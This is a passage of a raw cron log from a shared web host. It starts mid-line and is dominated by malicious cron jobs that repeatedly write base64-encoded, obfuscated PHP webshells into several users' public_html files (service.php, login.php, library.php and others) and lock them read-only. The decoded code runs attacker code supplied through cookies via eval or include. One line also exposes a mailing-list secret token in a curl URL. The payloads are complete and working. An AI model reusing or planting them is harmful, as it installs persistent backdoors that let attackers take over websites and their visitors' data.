WxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:56:01 medusa CROND[6431]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 03:56:01 medusa CROND[6432]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 03:56:01 medusa CROND[6435]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:57:01 medusa CROND[27302]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:57:01 medusa CROND[27303]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 03:57:01 medusa CROND[27304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 03:57:01 medusa CROND[27305]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 03:57:01 medusa CROND[27306]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 03:57:01 medusa CROND[27307]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 03:57:01 medusa CROND[27308]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:57:01 medusa CROND[27309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 03:57:01 medusa CROND[27311]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:57:01 medusa CROND[27312]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:57:01 medusa CROND[27315]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 03:57:01 medusa CROND[27316]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 03:58:02 medusa CROND[16503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 03:58:02 medusa CROND[16505]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 03:58:02 medusa CROND[16506]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 03:58:02 medusa CROND[16509]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 03:58:02 medusa CROND[16508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 03:58:02 medusa CROND[16504]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 03:58:02 medusa CROND[16507]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 03:58:02 medusa CROND[16510]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 03:58:02 medusa CROND[16511]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 03:58:02 medusa CROND[16522]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:58:02 medusa CROND[16521]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:58:02 medusa CROND[16527]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:58:02 medusa CROND[16528]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; 